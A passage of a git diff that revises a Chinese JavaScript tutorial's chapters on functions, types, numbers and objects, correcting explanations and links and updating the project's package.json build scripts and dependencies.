 上面代码分别用数值和字符串作为键名，结果都能读取数组。原因是数值键名被自动转为了字符串。
 
-注意，这点在赋值时也成立。如果一个值总是先转成字符串，再进行赋值。
+注意，这点在赋值时也成立。一个值总是先转成字符串，再作为键名进行赋值。
 
 ```javascript
 var a = [];
@@ -124,7 +124,7 @@ arr.length // 1001
 
 上面代码表示，数组的数字键不需要连续，`length`属性的值总是比最大的那个整数键大`1`。另外，这也表明数组是一种动态的数据结构，可以随时增减数组的成员。
 
-`length`属性是可写的。如果人为设置一个小于当前成员个数的值，该数组的成员会自动减少到`length`设置的值。
+`length`属性是可写的。如果人为设置一个小于当前成员个数的值，该数组的成员数量会自动减少到`length`设置的值。
 
 ```javascript
 var arr = [ 'a', 'b', 'c' ];
@@ -303,7 +303,7 @@ var a = [1, , 1];
 a.length // 3
 ```
 
-上面代码表明，数组的空位不影响`length`属性。
+上面代码表明，数组的空位不影响`length`属性。虽然这个位置没有值，引擎依然认为这个位置是有效的。
 
 需要注意的是，如果最后一个元素后面有逗号，并不会产生空位。也就是说，有没有这个逗号，结果都是一样的。
 
diff --git a/docs/types/function.md b/docs/types/function.md
index 071c31b..751bca5 100644
--- a/docs/types/function.md
+++ b/docs/types/function.md
@@ -1,6 +1,6 @@
 # 函数
 
-函数是一段可以反复调用的代码块。函数还能接受输入的参数，不同的参数会返回不同的值。
+函数是一段可以反复调用的代码块。函数还能接受输入的参数，不同的参数有唯一对应的返回值。
 
 ## 概述
 
@@ -77,7 +77,7 @@ function add(x, y) {
 
 ```javascript
 var foo = new Function(
-  'return "hello world"'
+  'return "hello world";'
 );
 
 // 等同于
@@ -186,7 +186,9 @@ f();
 f = function () {};
 ```
 
-上面代码第二行，调用`f`的时候，`f`只是被声明了，还没有被赋值，等于`undefined`，所以会报错。因此，如果同时采用`function`命令和赋值语句声明同一个函数，最后总是采用赋值语句的定义。
+上面代码第二行，调用`f`的时候，`f`只是被声明了，还没有被赋值，等于`undefined`，所以会报错。
+
+注意，如果像下面例子那样，采用`function`命令和`var`赋值语句声明同一个函数，由于存在函数提升，最后会采用`var`赋值语句的定义。
 
 ```javascript
 var f = function () {
@@ -200,6 +202,8 @@ function f() {
 f() // 1
 ```
 
+上面例子中，表面上后面声明的函数`f`，应该覆盖前面的`var`赋值语句，但是由于存在函数提升，实际上正好反过来。
+
 ## 函数的属性和方法
 
 ### name 属性
@@ -252,11 +256,11 @@ f.length // 2
 
 上面代码定义了空函数`f`，它的`length`属性就是定义时的参数个数。不管调用时输入了多少个参数，`length`属性始终等于2。
 
-`length`属性提供了一种机制，判断定义时和调用时参数的差异，以便实现面向对象编程的”方法重载“（overload）。
+`length`属性提供了一种机制，判断定义时和调用时参数的差异，以便实现面向对象编程的“方法重载”（overload）。
 
 ### toString()
 
-函数的`toString`方法返回一个字符串，内容是函数的源码。
+函数的`toString()`方法返回一个字符串，内容是函数的源码。
 
 ```javascript
 function f() {
@@ -273,6 +277,17 @@ f.toString()
 // }
 ```
 
+上面示例中，函数`f`的`toString()`方法返回了`f`的源码，包含换行符在内。
+
+对于那些原生的函数，`toString()`方法返回`function (){[native code]}`。
+
+```javascript
+Math.sqrt.toString()
+// "function sqrt() { [native code] }"
+```
+
+上面代码中，`Math.sqrt()`是 JavaScript 引擎提供的原生函数，`toString()`方法就返回原生代码的提示。
+
 函数内部的注释也可以返回。
 
 ```javascript
@@ -306,13 +321,15 @@ multiline(f);
 //   多行注释"
 ```
 
+上面示例中，函数`f`内部有一个多行注释，`toString()`方法拿到`f`的源码后，去掉首尾两行，就得到了一个多行字符串。
+
 ## 函数作用域
 
 ### 定义
 
-作用域（scope）指的是变量存在的范围。在 ES5 的规范中，Javascript 只有两种作用域：一种是全局作用域，变量在整个程序中一直存在，所有地方都可以读取；另一种是函数作用域，变量只在函数内部存在。ES6 又新增了块级作用域，本教程不涉及。
+作用域（scope）指的是变量存在的范围。在 ES5 的规范中，JavaScript 只有两种作用域：一种是全局作用域，变量在整个程序中一直存在，所有地方都可以读取；另一种是函数作用域，变量只在函数内部存在。ES6 又新增了块级作用域，本教程不涉及。
 
-函数外部声明的变量就是全局变量（global variable），它可以在函数内部读取。
+对于顶层函数来说，函数外部声明的变量就是全局变量（global variable），它可以在函数内部读取。
 
 ```javascript
 var v = 1;
@@ -463,7 +480,7 @@ square(3) // 9
 
 ### 参数的省略
 
-函数参数不是必需的，Javascript 允许省略参数。
+函数参数不是必需的，JavaScript 允许省略参数。
 
 ```javascript
 function f(a, b) {
@@ -537,7 +554,7 @@ f(obj);
 obj // [1, 2, 3]
 ```
 
-上面代码中，在函数`f`内部，参数对象`obj`被整个替换成另一个值。这时不会影响到原始值。这是因为，形式参数（`o`）的值实际是参数`obj`的地址，重新对`o`赋值导致`o`指向另一个地址，保存在原地址上的值当然不受影响。
+上面代码中，在函数`f()`内部，参数对象`obj`被整个替换成另一个值。这时不会影响到原始值。这是因为，形式参数（`o`）的值实际是参数`obj`的地址，重新对`o`赋值导致`o`指向另一个地址，保存在原地址上的值当然不受影响。
 
 ### 同名参数
 
@@ -551,7 +568,7 @@ function f(a, a) {
 f(1, 2) // 2
 ```
 
-上面代码中，函数`f`有两个参数，且参数名都是`a`。取值的时候，以后面的`a`为准，即使后面的`a`没有值或被省略，也是以其为准。
+上面代码中，函数`f()`有两个参数，且参数名都是`a`。取值的时候，以后面的`a`为准，即使后面的`a`没有值或被省略，也是以其为准。
 
 ```javascript
 function f(a, a) {
@@ -561,7 +578,7 @@ function f(a, a) {
 f(1) // undefined
 ```
 
-调用函数`f`的时候，没有提供第二个参数，`a`的取值就变成了`undefined`。这时，如果要获得第一个`a`的值，可以使用`arguments`对象。
+调用函数`f()`的时候，没有提供第二个参数，`a`的取值就变成了`undefined`。这时，如果要获得第一个`a`的值，可以使用`arguments`对象。
 
 ```javascript
 function f(a, a) {
@@ -604,22 +621,22 @@ var f = function(a, b) {
 f(1, 1) // 5
 ```
 
-上面代码中，函数`f`调用时传入的参数，在函数内部被修改成`3`和`2`。
+上面代码中，函数`f()`调用时传入的参数，在函数内部被修改成`3`和`2`。
 
-严格模式下，`arguments`对象是一个只读对象，修改它是无效的，但不会报错。
+严格模式下，`arguments`对象与函数参数不具有联动关系。也就是说，修改`arguments`对象不会影响到实际的函数参数。
 
 ```javascript
 var f = function(a, b) {
   'use strict'; // 开启严格模式
-  arguments[0] = 3; // 无效
-  arguments[1] = 2; // 无效
+  arguments[0] = 3;
+  arguments[1] = 2;
   return a + b;
 }
 
 f(1, 1) // 2
 ```
 
-上面代码中，函数体内是严格模式，这时修改`arguments`对象就是无效的。
+上面代码中，函数体内是严格模式，这时修改`arguments`对象，不会影响到真实参数`a`和`b`。
 
 通过`arguments`对象的`length`属性，可以判断函数调用时到底带几个参数。
 
@@ -667,7 +684,7 @@ f() // true
 
 ### 闭包
 
-闭包（closure）是 Javascript 语言的一个难点，也是它的特色，很多高级应用都要依靠闭包实现。
+闭包（closure）是 JavaScript 语言的一个难点，也是它的特色，很多高级应用都要依靠闭包实现。
 
 理解闭包，首先必须理解变量作用域。前面提到，JavaScript 有两种作用域：全局作用域和函数作用域。函数内部可以直接读取全局变量。
 
@@ -682,7 +699,7 @@ f1() // 999
 
 上面代码中，函数`f1`可以读取全局变量`n`。
 
-但是，函数外部无法读取函数内部声明的变量。
+但是，正常情况下，函数外部无法读取函数内部声明的变量。
 
 ```javascript
 function f1() {
@@ -727,7 +744,7 @@ result(); // 999
 
 闭包就是函数`f2`，即能够读取其他函数内部变量的函数。由于在 JavaScript 语言中，只有函数内部的子函数才能读取内部变量，因此可以把闭包简单理解成“定义在一个函数内部的函数”。闭包最大的特点，就是它可以“记住”诞生的环境，比如`f2`记住了它诞生的环境`f1`，所以从`f2`可以得到`f1`的内部变量。在本质上，闭包就是将函数内部和函数外部连接起来的一座桥梁。
 
-闭包的最大用处有两个，一个是可以读取函数内部的变量，另一个就是让这些变量始终保持在内存中，即闭包可以使得它诞生环境一直存在。请看下面的例子，闭包使得内部变量记住上一次调用时的运算结果。
+闭包的最大用处有两个，一个是可以读取外层函数内部的变量，另一个就是让这些变量始终保持在内存中，即闭包可以使得它诞生环境一直存在。请看下面的例子，闭包使得内部变量记住上一次调用时的运算结果。
 
 ```javascript
 function createIncrementor(start) {
@@ -745,7 +762,7 @@ inc() // 7
 
 上面代码中，`start`是函数`createIncrementor`的内部变量。通过闭包，`start`的状态被保留了，每一次调用都是在上一次调用的基础上进行计算。从中可以看到，闭包`inc`使得函数`createIncrementor`的内部环境，一直存在。所以，闭包可以看作是函数内部作用域的一个接口。
 
-为什么会这样呢？原因就在于`inc`始终在内存中，而`inc`的存在依赖于`createIncrementor`，因此也始终在内存中，不会在调用结束后，被垃圾回收机制回收。
+为什么闭包能够返回外层函数的内部变量？原因是闭包（上例的`inc`）用到了外层变量（`start`），导致外层函数（`createIncrementor`）不能从内存释放。只要闭包没有被垃圾回收机制清除，外层函数提供的运行环境也不会被清除，它的内部变量就始终保存着当前值，供闭包读取。
 
 闭包的另一个用处，是封装对象的私有属性和私有方法。
 
@@ -777,7 +794,7 @@ p1.getAge() // 25
 
 ### 立即调用的函数表达式（IIFE）
 
-在 Javascript 中，圆括号`()`是一种运算符，跟在函数名之后，表示调用该函数。比如，`print()`就表示调用`print`函数。
+根据 JavaScript 的语法，圆括号`()`跟在函数名之后，表示调用该函数。比如，`print()`就表示调用`print`函数。
 
 有时，我们需要在定义函数之后，立即调用该函数。这时，你不能在函数的定义之后加上圆括号，这会产生语法错误。
 
@@ -786,7 +803,7 @@ function(){ /* code */ }();
 // SyntaxError: Unexpected token (
 ```
 
-产生这个错误的原因是，`function`这个关键字即可以当作语句，也可以当作表达式。
+产生这个错误的原因是，`function`这个关键字既可以当作语句，也可以当作表达式。
 
 ```javascript
 // 语句
@@ -796,9 +813,18 @@ function f() {}
 var f = function f() {}
 ```
 
-为了避免解析上的歧义，JavaScript 引擎规定，如果`function`关键字出现在行首，一律解释成语句。因此，JavaScript引擎看到行首是`function`关键字之后，认为这一段都是函数的定义，不应该以圆括号结尾，所以就报错了。
+当作表达式时，函数可以定义后直接加圆括号调用。
+
+```javascript
+var f = function f(){ return 1}();
+f // 1
+```
+
+上面的代码中，函数定义后直接加圆括号调用，没有报错。原因就是`function`作为表达式，引擎就把函数定义当作一个值。这种情况下，就不会报错。
+
+为了避免解析的歧义，JavaScript 规定，如果`function`关键字出现在行首，一律解释成语句。因此，引擎看到行首是`function`关键字之后，认为这一段都是函数的定义，不应该以圆括号结尾，所以就报错了。
 
-解决方法就是不要让`function`出现在行首，让引擎将其理解成一个表达式。最简单的处理，就是将其放在一个圆括号里面。
+函数定义后立即调用的解决方法，就是不要让`function`出现在行首，让引擎将其理解成一个表达式。最简单的处理，就是将其放在一个圆括号里面。
 
 ```javascript
 (function(){ /* code */ }());
@@ -806,7 +832,7 @@ var f = function f() {}
 (function(){ /* code */ })();
 ```
 
-上面两种写法都是以圆括号开头，引擎就会认为后面跟的是一个表示式，而不是函数定义语句，所以就避免了错误。这就叫做“立即调用的函数表达式”（Immediately-Invoked Function Expression），简称 IIFE。
+上面两种写法都是以圆括号开头，引擎就会认为后面跟的是一个表达式，而不是函数定义语句，所以就避免了错误。这就叫做“立即调用的函数表达式”（Immediately-Invoked Function Expression），简称 IIFE。
 
 注意，上面两种写法最后的分号都是必须的。如果省略分号，遇到连着两个 IIFE，可能就会报错。
 
@@ -922,7 +948,7 @@ a // 2
 
 上面代码中，严格模式下，`eval`内部还是改写了外部变量，可见安全风险依然存在。
 
-总之，`eval`的本质是在当前作用域之中，注入代码。由于安全风险和不利于 JavaScript 引擎优化执行速度，所以一般不推荐使用。通常情况下，`eval`最常见的场合是解析 JSON 数据的字符串，不过正确的做法应该是使用原生的`JSON.parse`方法。
+总之，`eval`的本质是在当前作用域之中，注入代码。由于安全风险和不利于 JavaScript 引擎优化执行速度，一般不推荐使用。通常情况下，`eval`最常见的场合是解析 JSON 数据的字符串，不过正确的做法应该是使用原生的`JSON.parse`方法。
 
 ### eval 的别名调用
 
@@ -966,8 +992,8 @@ window.eval('...')
 ## 参考链接
 
 - Ben Alman, [Immediately-Invoked Function Expression (IIFE)](http://benalman.com/news/2010/11/immediately-invoked-function-expression/)
-- Mark Daggett, [Functions Explained](http://markdaggett.com/blog/2013/02/15/functions-explained/)
-- Juriy Zaytsev, [Named function expressions demystified](http://kangax.github.com/nfe/)
+- Mark Daggett, [Functions Explained](https://web.archive.org/web/20160911170816/http://markdaggett.com/blog/2013/02/15/functions-explained/)
+- Juriy Zaytsev, [Named function expressions demystified](http://kangax.github.io/nfe/)
 - Marco Rogers polotek, [What is the arguments object?](http://docs.nodejitsu.com/articles/javascript-conventions/what-is-the-arguments-object)
 - Juriy Zaytsev, [Global eval. What are the options?](http://perfectionkills.com/global-eval-what-are-the-options/)
 - Axel Rauschmayer, [Evaluating JavaScript code via eval() and new Function()](http://www.2ality.com/2014/01/eval.html)
diff --git a/docs/types/general.md b/docs/types/general.md
index 32a301e..6d512ef 100644
--- a/docs/types/general.md
+++ b/docs/types/general.md
@@ -2,12 +2,12 @@
 
 ## 简介
 
-JavaScript 语言的每一个值，都属于某一种数据类型。JavaScript 的数据类型，共有六种。（ES6 又新增了第七种 Symbol 类型的值，本教程不涉及。）
+JavaScript 语言的每一个值，都属于某一种数据类型。JavaScript 的数据类型，共有六种。（ES6 又新增了 Symbol 和 BigInt 数据类型，本教程不涉及。）
 
-- 数值（number）：整数和小数（比如`1`和`3.14`）
+- 数值（number）：整数和小数（比如`1`和`3.14`）。
 - 字符串（string）：文本（比如`Hello World`）。
-- 布尔值（boolean）：表示真伪的两个特殊值，即`true`（真）和`false`（假）
-- `undefined`：表示“未定义”或不存在，即由于目前没有定义，所以此处暂时没有任何值
+- 布尔值（boolean）：表示真伪的两个特殊值，即`true`（真）和`false`（假）。
+- `undefined`：表示“未定义”或不存在，即由于目前没有定义，所以此处暂时没有任何值。
 - `null`：表示空值，即此处的值为空。
 - 对象（object）：各种值组成的集合。
 
@@ -19,7 +19,7 @@ JavaScript 语言的每一个值，都属于某一种数据类型。JavaScript 
 - 数组（array）
 - 函数（function）
 
-狭义的对象和数组是两种不同的数据组合方式，除非特别声明，本教程的”对象“都特指狭义的对象。函数其实是处理数据的方法，JavaScript 把它当成一种数据类型，可以赋值给变量，这为编程带来了很大的灵活性，也为 JavaScript 的“函数式编程”奠定了基础。
+狭义的对象和数组是两种不同的数据组合方式，除非特别声明，本教程的“对象”都特指狭义的对象。函数其实是处理数据的方法，JavaScript 把它当成一种数据类型，可以赋值给变量，这为编程带来了很大的灵活性，也为 JavaScript 的“函数式编程”奠定了基础。
 
 ## typeof 运算符
 
diff --git a/docs/types/null-undefined-boolean.md b/docs/types/null-undefined-boolean.md
index e7854ce..129dda3 100644
--- a/docs/types/null-undefined-boolean.md
+++ b/docs/types/null-undefined-boolean.md
@@ -35,7 +35,7 @@ undefined == null
 
 既然含义与用法都差不多，为什么要同时设置两个这样的值，这不是无端增加复杂度，令初学者困扰吗？这与历史原因有关。
 
-1995年 JavaScript 诞生时，最初像 Java 一样，只设置了`null`表示"无"。根据 C 语言的传统，`null`可以自动转为`0`。
+1995年 JavaScript 诞生时，最初像 Java 一样，只设置了`null`表示“无”。根据 C 语言的传统，`null`可以自动转为`0`。
 
 ```javascript
 Number(null) // 0
@@ -46,7 +46,7 @@ Number(null) // 0
 
 但是，JavaScript 的设计者 Brendan Eich，觉得这样做还不够。首先，第一版的 JavaScript 里面，`null`就像在 Java 里一样，被当成一个对象，Brendan Eich 觉得表示“无”的值最好不是对象。其次，那时的 JavaScript 不包括错误处理机制，Brendan Eich 觉得，如果`null`自动转为0，很不容易发现错误。
 
-因此，他又设计了一个`undefined`。区别是这样的：`null`是一个表示“空”的对象，转为数值时为`0`；`undefined`是一个表示"此处无定义"的原始值，转为数值时为`NaN`。
+因此，他又设计了一个`undefined`。区别是这样的：`null`是一个表示“空”的对象，转为数值时为`0`；`undefined`是一个表示“此处无定义”的原始值，转为数值时为`NaN`。
 
 ```javascript
 Number(undefined) // NaN
@@ -87,7 +87,6 @@ f() // undefined
 
 下列运算符会返回布尔值：
 
-- 两元逻辑运算符： `&&` (And)，`||` (Or)
 - 前置逻辑运算符： `!` (Not)
 - 相等运算符：`===`，`!==`，`==`，`!=`
 - 比较运算符：`>`，`>=`，`<`，`<=`
diff --git a/docs/types/number.md b/docs/types/number.md
index 3b52ef1..53ebfb5 100644
--- a/docs/types/number.md
+++ b/docs/types/number.md
@@ -10,7 +10,7 @@ JavaScript 内部，所有数字都是以64位浮点数形式储存，即使整
 1 === 1.0 // true
 ```
 
-这就是说，JavaScript 语言的底层根本没有整数，所有数字都是小数（64位浮点数）。容易造成混淆的是，某些运算只有整数才能完成，此时 JavaScript 会自动把64位浮点数，转成32位整数，然后再进行运算，参见《运算符》一章的”位运算“部分。
+这就是说，JavaScript 语言的底层根本没有整数，所有数字都是小数（64位浮点数）。容易造成混淆的是，某些运算只有整数才能完成，此时 JavaScript 会自动把64位浮点数，转成32位整数，然后再进行运算，参见《运算符》一章的“位运算”部分。
 
 由于浮点数不是精确的值，所以涉及小数的比较和运算要特别小心。
 
@@ -43,12 +43,12 @@ JavaScript 内部，所有数字都是以64位浮点数形式储存，即使整
 
 上面公式是正常情况下（指数部分在0到2047之间），一个数在 JavaScript 内部实际的表示形式。
 
-精度最多只能到53个二进制位，这意味着，绝对值小于等于2的53次方的整数，即-2<sup>53</sup>到2<sup>53</sup>，都可以精确表示。
+精度最多只能到53个二进制位，这意味着，绝对值小于2的53次方的整数，即-2<sup>53</sup> + 1 到 2<sup>53</sup> - 1，都可以精确表示。
 
 ```javascript
 Math.pow(2, 53)
 // 9007199254740992
- 
+
 Math.pow(2, 53) + 1
 // 9007199254740992
 
@@ -280,6 +280,12 @@ NaN * 32 // NaN
 NaN / 32 // NaN
 ```
 
+但是，ES6 引入指数运算符（`**`）后，出现了一个例外。
+
+```javascript
+NaN ** 0 // 1
+```
+
 ### Infinity
 
 **（1）含义**
@@ -309,7 +315,7 @@ Infinity === -Infinity // false
 
 上面代码中，非零正数除以`-0`，会得到`-Infinity`，负数除以`-0`，会得到`Infinity`。
 
-由于数值正向溢出（overflow）、负向溢出（underflow）和被`0`除，JavaScript 都不报错，而是返回`Infinity`，所以单纯的数学运算几乎没有可能抛出错误。
+由于数值正向溢出（overflow）、负向溢出（underflow）和被`0`除，JavaScript 都不报错，所以单纯的数学运算几乎没有可能抛出错误。
 
 `Infinity`大于一切数值（除了`NaN`），`-Infinity`小于一切数值（除了`NaN`）。
 
@@ -521,7 +527,7 @@ parseInt(String(011), 2)
 parseInt(String(9), 2)
 ```
 
-上面代码中，第一行的`011`会被先转为字符串`9`，因为`9`不是二进制的有效字符，所以返回`NaN`。如果直接计算`parseInt('011', 2) `，`011`则是会被当作二进制处理，返回3。
+上面代码中，第一行的`011`会被先转为字符串`9`，因为`9`不是二进制的有效字符，所以返回`NaN`。如果直接计算`parseInt('011', 2)`，`011`则是会被当作二进制处理，返回3。
 
 JavaScript 不再允许将带有前缀0的数字视为八进制数，而是要求忽略这个`0`。但是，为了保证兼容性，大部分浏览器并没有部署这一条规定。
 
@@ -552,7 +558,15 @@ parseFloat('3.14more non-digit characters') // 3.14
 parseFloat('\t\v\r12.34\n ') // 12.34
 ```
 
-如果参数不是字符串，或者字符串的第一个字符不能转化为浮点数，则返回`NaN`。
+如果参数不是字符串，则会先转为字符串再转换。
+
+```javascript
+parseFloat([1.23]) // 1.23
+// 等同于
+parseFloat(String([1.23])) // 1.23
+```
+
+如果字符串的第一个字符不能转化为浮点数，则返回`NaN`。
 
 ```javascript
 parseFloat([]) // NaN
@@ -651,5 +665,4 @@ isFinite(-1) // true
 ## 参考链接
 
 - Dr. Axel Rauschmayer, [How numbers are encoded in JavaScript](http://www.2ality.com/2012/04/number-encoding.html)
-- Humphry, [JavaScript 中 Number 的一些表示上/下限](http://blog.segmentfault.com/humphry/1190000000407658)
-
+- Humphry, [JavaScript 中 Number 的一些表示上/下限](https://segmentfault.com/a/1190000000407658)
diff --git a/docs/types/object.md b/docs/types/object.md
index 14df71c..3ff539c 100644
--- a/docs/types/object.md
+++ b/docs/types/object.md
@@ -171,10 +171,19 @@ y // 1
 
 JavaScript 引擎读到上面这行代码，会发现可能有两种含义。第一种可能是，这是一个表达式，表示一个包含`foo`属性的对象；第二种可能是，这是一个语句，表示一个代码区块，里面有一个标签`foo`，指向表达式`123`。
 
-为了避免这种歧义，V8 引擎规定，如果行首是大括号，一律解释为对象。不过，为了避免歧义，最好在大括号前加上圆括号。
+为了避免这种歧义，JavaScript 引擎的做法是，如果遇到这种情况，无法确定是对象还是代码块，一律解释为代码块。
 
 ```javascript
-({ foo: 123})
+{ console.log(123) } // 123
+```
+
+上面的语句是一个代码块，而且只有解释为代码块，才能执行。
+
+如果要解释为对象，最好在大括号前加上圆括号。因为圆括号的里面，只能是表达式，所以确保大括号只能解释为对象。
+
+```javascript
+({ foo: 123 }) // 正确
+({ console.log(123) }) // 报错
 ```
 
 这种差异在`eval`语句（作用是对字符串求值）中反映得最明显。
@@ -488,5 +497,5 @@ console.log(temp.p1 + temp.p2);
 
 - Dr. Axel Rauschmayer，[Object properties in JavaScript](http://www.2ality.com/2012/10/javascript-properties.html)
 - Lakshan Perera, [Revisiting JavaScript Objects](http://www.laktek.com/2012/12/29/revisiting-javascript-objects/)
-- Angus Croll, [The Secret Life of JavaScript Primitives](http://javascriptweblog.wordpress.com/2010/09/27/the-secret-life-of-javascript-primitives/)i
+- Angus Croll, [The Secret Life of JavaScript Primitives](http://javascriptweblog.wordpress.com/2010/09/27/the-secret-life-of-javascript-primitives/)
 - Dr. Axel Rauschmayer, [JavaScript’s with statement and why it’s deprecated](http://www.2ality.com/2011/06/with-statement.html)
diff --git a/package.json b/package.json
index e4e4712..479b7bb 100644
--- a/package.json
+++ b/package.json
@@ -7,11 +7,11 @@
     "doc": "docs"
   },
   "scripts": {
-    "prepush": "npm update",
     "build": "loppo --site \"JavaScript 教程\" --id javascript --theme wangdoc",
     "build-and-commit": "npm run build && npm run commit",
-    "commit": "gh-pages --dist dist --dest dist/javascript --branch master --repo git@github.com:wangdoc/website.git",
+    "commit": "gh-pages --dist dist --dest dist/javascript --branch master --add --repo git@github.com:wangdoc/website.git",
     "chapter": "loppo chapter",
+    "server": "loppo server",
     "test": "echo \"Error: no test specified\" && exit 1"
   },
   "repository": {
@@ -30,9 +30,8 @@
   },
   "homepage": "https://github.com/wangdoc/javascript-tutorial",
   "dependencies": {
-    "gh-pages": "^1.2.0",
-    "husky": "^0.14.3",
-    "loppo": "^0.6.14",
-    "loppo-theme-wangdoc": "^0.3.8"
+    "gh-pages": "6.x",
+    "loppo": "^0.6.24",
+    "loppo-theme-wangdoc": "^0.7.3"
   }
 }